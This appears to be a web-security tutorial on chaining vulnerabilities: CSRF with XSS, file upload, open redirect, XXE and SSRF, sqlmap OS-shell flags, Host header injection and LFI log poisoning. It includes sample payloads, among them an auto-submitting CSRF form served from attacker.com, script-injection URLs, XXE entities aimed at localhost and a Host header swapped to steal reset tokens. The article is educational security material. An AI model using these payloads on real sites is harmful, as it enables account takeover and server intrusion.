Vulnerability chaining, also known as exploit chaining, is the process of combining multiple vulnerabilities to achieve a more significant or impactful attack by exploiting a single vulnerability. In complex systems, real-world attacks often involve multiple steps and understanding, and mitigating chains is crucial for realistic security assessments.
Before reading this article, it is recommended that you are already familiar with basic Web Application attacks.
CSRF and XSS vulnerabilities can be used together to redirect a victim to unwanted actions. Is important to note that the victim must be logged-in in the vulnerable application in order for the attacks to be successful.
An attacker can use a Stored XSS vulnerability on a web application (https://example.com) to redirect users to a URL that makes actions on their behalf. An example of CSRF GET URL will look like this:
https://example.com/profile/change_password/?new_password=hacked
An attacker will craft a payload and any user visiting a vulnerable page with a Stored XSS vulnerability, will be redirected to the URL above and their password will be changed automatically. This example of “change password” functionality that is reflected directly in URL can happen if the implementation is unsecured.
For an insecure functionality, a CSRF GET request can be exploited using only a malicious URL like was mentioned above. The attacker sends this URL to a victim and once visited, the action is performed. However, this can be also chained with a Reflected XSS which is working in the same way, a URL that must be accessed by the victim. The difference is that the action in the URL is more stealthy then the previous one, and this chaining can also bypass some CSRF protections, but we will talk later about this.
URL for CSRF GET request:
https://example.com/profile/change_password/?new_password=hacked
Reflected XSS redirecting the user to CSRF GET request:
https://example.com/users?name=<script>window.location.replace("https://example.com/profile/change_password/?new_password=hacked");</script>
Similar to the first example, an attacker will inject a payload in the vulnerable application and anyone visiting the page, with the Stored XSS injected, will have the password changed. The difference is that, now, the JavaScript code will not redirect the user to the password reset functionality, but will send a POST request in the background.
Using a CSRF POST request and Reflected XSS an attacker can craft a URL that will redirect the user to the attacker’s domain (https://attacker.com). Once visited, an automatic POST request is sent to the vulnerable target (https://example.com/). The attacker can also send directly the malicious URL, but it will look more suspicious to click on it.
URL to be clicked:
https://example.com/users?name=<script>window.location.replace('https://attacker.com/malicious_script.php');</script>
POST request done on malicious_script.php:
<form action="https://example.com/profile/change_password/" method="POST">
<input name="password" value="hacked"/>
<input type="submit"/>
</form>
<script>document.forms[0].submit();</script>
Note: This is only a short introduction of the subject. CSRF can be used also with other types of requests such as PUT or DELETE.
For any important request, a new token is generated for the user’s session and added as parameter to prevent unauthorized requests. In this way, prebuilt requests will need this token to confirm the authenticty.
SamSite attribute can be set on cookies to prevent them from being sent with cross-site requests. This attribute prevents CSRF attacks that rely on cookies for authentication.
These HTTP headers are sent with the requests and are validated to ensure that the requests originated from trusted domains.
Using XSS together with CSRF will be possible to bypass the CSRF security measures. Using JavaScript code, an attacker could craft a script that will also grab the user’s token when the request is sent. An example like this will be explained at File Upload + XSS Stored + CSRF section.
Using XSS in the vulnerable web application to send a request to the same domain will bypass the SameSite attribute or Origin and Referer headers. A user visiting "https://example.com/"
, that is vulnerable to Stored XSS and sends a POST request that change the user’s password, will have this request originated from the same domain. If the request is coming from "https://attacker.com/"
or the victim needs to click a CSRF URL such as: "https://example.com/profile/change_password/?new_password=hacked"
, in these cases the originated domain is different and the request will not work.
Using a File Upload vulnerability, a malicious script can be uploaded on the server and used to execute JavaScript code in the victim’s browser. The script is uploaded on the server -> the URL path to the script is sent to a victim -> the victim access it -> the code is executed. This is helpful when the script becomes too large to be written in one line.
Insecure File Upload is a dangerous vulnerability, the attacker can upload malicious scripts or even malware on a legitimate website. The affected user has no clue that the website was infected and the victim will consider that the URL sent by the attacker is no harmful:
https://example.com/internal/uploads/legitimate-file.html
Through the File Upload vulnerability an attacker can upload a file with JavaScript code to the server, to obtain a Stored XSS vulnerability. This chained attack can easily bypass SameSite cookie attribute or HTTP headers like Origin or Referer. The script is coming from the original website, so must be safe, right?
As was presented above, if the checks against CSRF are made on Origin or Referer HTTP headers, a file upload vulnerability can be used to upload a script that will run malicious code on the user behalf.
The script can execute multiple actions, depends on attacker’s imagination, but besides the common ones an interesting example could be an attack that causes a user to unknowingly upload a malicious file to the web application. In this way the attacker will leverage different users to upload files. Because the files appear to be uploaded by known users, they are more likely to be trusted.
Let’s put together what was presented until now.
For example we have a change password functionality that is vulnerable to CSRF through a POST request.
We also have a forum where users can post different comments. This forum is vulnerable to Stored XSS.
A malicious script can be uploaded on the server and use its location to execute it with JavaScript in the vulnerable forum.
When users visit the vulnerable forum (Stored XSS), they are redirected to the location of the file (File Upload) and the code that will change the user’s password is executed (CSRF). In this way all users visiting the forum will have the password changed without knowing.
Because the payload is uploaded as a file, the attacker is not limited at shorter scripts that are injected in a vulnerable input field.
Uploading the script allows the attacker to create more complex actions that are then executed by the target. This gives the attacker the oportunity to execute multiple steps in order to bypass some security mitigations.
If the POST request form is also using a random token in order to confirm the action, this can be bypassed in the following way:
All of these combining with the fact that the script is executed from the vulnerable website, within an XSS payload, represents a great example of how multiple chained vulnerabilities can affect users in mass despite some security measures implemented.
There are multiple ways to protect against CSRF attacks, instead of implementing the best security measure, more layers can be used to ensure the security. However, the objective of the article is not focused on this subject, but in my opinion the best way to protect important actions is to confirm with the password. If the attacker wants to change the password or to make the victim to perform critical actions, the attacker will not able to do it without knowing the current password of the user.
This is also helpful in case the victim’s session was stolen. Even if the attacker is in other account, administrative actions can not be performed without this piece of information.
Sometimes a File Upload could lead to RCE because an attacker can upload a file that is executable by the web application, such as a web shell or reverse shell. The attacker needs to know the location of the file uploaded and the configuration of the server.
The most common scenario is the application based on PHP server. The attacker uploads a webshell.php and gets RCE if the code is executed as PHP. Depending on the environment, the attacker needs to use different payloads, for example:
Is important to check whether the executable is running with the expected extension or not.
If the web application allows files to be uploaded as “test.php.png”, a file inclusion vulnerability could execute the file as php in some cases. Also, the path to the file uploaded is required.
An example of such file is presented below. If the URL to the file is visited, the web application will try to return an image, so the file can not be executed as php, but can be executed if is included in the page.
RFI in most of the cases goes to RCE, because a reverse shell can be hosted on another domain and this can be executed from the target through the RFI payload. What should be tested is if the file is included in the page and if the code is executed.
XSS injections could not work everytime due to security mitigations. One of this is Content Security Policy header (CSP) which defines the locations where scripts can be loaded or executed. In some cases XSS payloads are blocked, but HTML tags are still allowed.
Let’s say we have the following CSP configuration:
Content-Security-Policy: script-src 'self';
The application has a vulnerable parameter to XSS attacks, in this case an injection point exists, but the XSS payloads are stopped by the CSP configuration. However, if no other input checks are done, HTML injection is still possible, allowing the attacker to control the front-end of the web application.
Open Redirect with CSRF is similar to CSRF + XSS scenarios. The redirect can be targeted either to a URL that is making an action (if is based on GET request), or to a malicious address that is sending a request to the vulnerable website (if is based on POST request).
Using an Open Redirect vulnerability, an attacker could take advantage of it to point the server to an internal endpoint or a malicious server. When the server processes the request, it follows the redirect to the attacker’s chosen URL, potentially accessing internal services or executing malicious code.
https://example.com?redirect=http://localhost:8443/admin
Open Redirect can lead sometimes to XSS. For example if the redirect parameter is directly placed in a “window.location” method. Instead of writing a new address as value, JavaScript code can be injected.
https://example.com?redirect=http://attacker.com/
https://example.com?redirect=javascript:alert(1)
This type of injection is called DOM-based XSS and appears when user’s controllable data is passed by the JavaScript to sinks, for example “eval()” or “innerHTML”. This attack depends on different circumstances and requires deep investigation in order to exploit it. The infrastructure of the web application will be always different, so it won’t work everytime in the same way.
XXE vulnerability and SSRF chaining can occur when an application parses XML input that allows external entities to be defined and processed.
Original request:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "https://internal-service.local/resource">
]>
<root>
<data>&xxe;</data>
</root>
Malicious request:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "http://localhost:8443/admin">
]>
<root>
<data>&xxe;</data>
</root>
Under specific conditions XXE can lead to RCE. This can happen in different cases, for example:
If SQL injection is present, sqlmap tool can be used with –os-cmd
flag, to execute commands, or –os-shell
and –os-pwn
to spawn a reverse shell.
In order for this flags to work, the database user must have sufficient privileges to execute commands that interact with the underlying operating system. If all conditions are fulfilled, the sqlmap will provide RCE on the server.
Host Header Injection is not rated as a high risk, but could become dangerous if is chained with other functionalities. For example if the application uses the Host header value to construct the password reset URL for “Forgot password” functionality. An attacker could manipulate this to redirect victim to a malicious domain, leading to account takeover.
Original link:
https://example.com/reset_password?token=22554
Host Header Injection in POST request:
POST /reset_password HTTP/1.1
Host: example.com (here we will change to attacker.com)
[email protected]
The link received on email:
https://attacker.com/reset_password?token=22554
In some cases the email parameter will not be available for the reset functionality. For example if the user is already logged-in and wants to change the password. In this case the attack must be performed using Man-In-The-Middle or HTTP Request Smuggling technique.
If the application does not properly validate the Host header, an attacker can manipulate it making the server to send requests to unintended or internal destinations.
Original request:
GET /documents/test123 HTTP/1.1
Host: example.com
SSRF:
GET / HTTP/1.1
Host: 127.0.0.1:8443
If a LFI vulnerability exists on a web application and an attacker is also able to inject malicious code into a log file, this could lead to a RCE. For example, using LFI an attacker reads the logs from the server and finds one that stores the User-Agent. A PHP code is injected in User-Agent and stored in the log file. Using LFI the log is included in the page with the PHP code executed.
This example can be seen in the next screenshots:
Chained vulnerabilities in web applications occur when multiple security flaws are combined to escalate the severity and impact of an attack. Individually, these vulnerabilities might have limited impact, but when exploited together, they can lead to significant security breaches. Understanding and identifying these chains is important for security professionals to protect web applications effectively and for developers to implement comprehensive security measures.
Keep in mind that this article only provides a brief introduction to chained attacks, and their successful exploitation depends on many factors.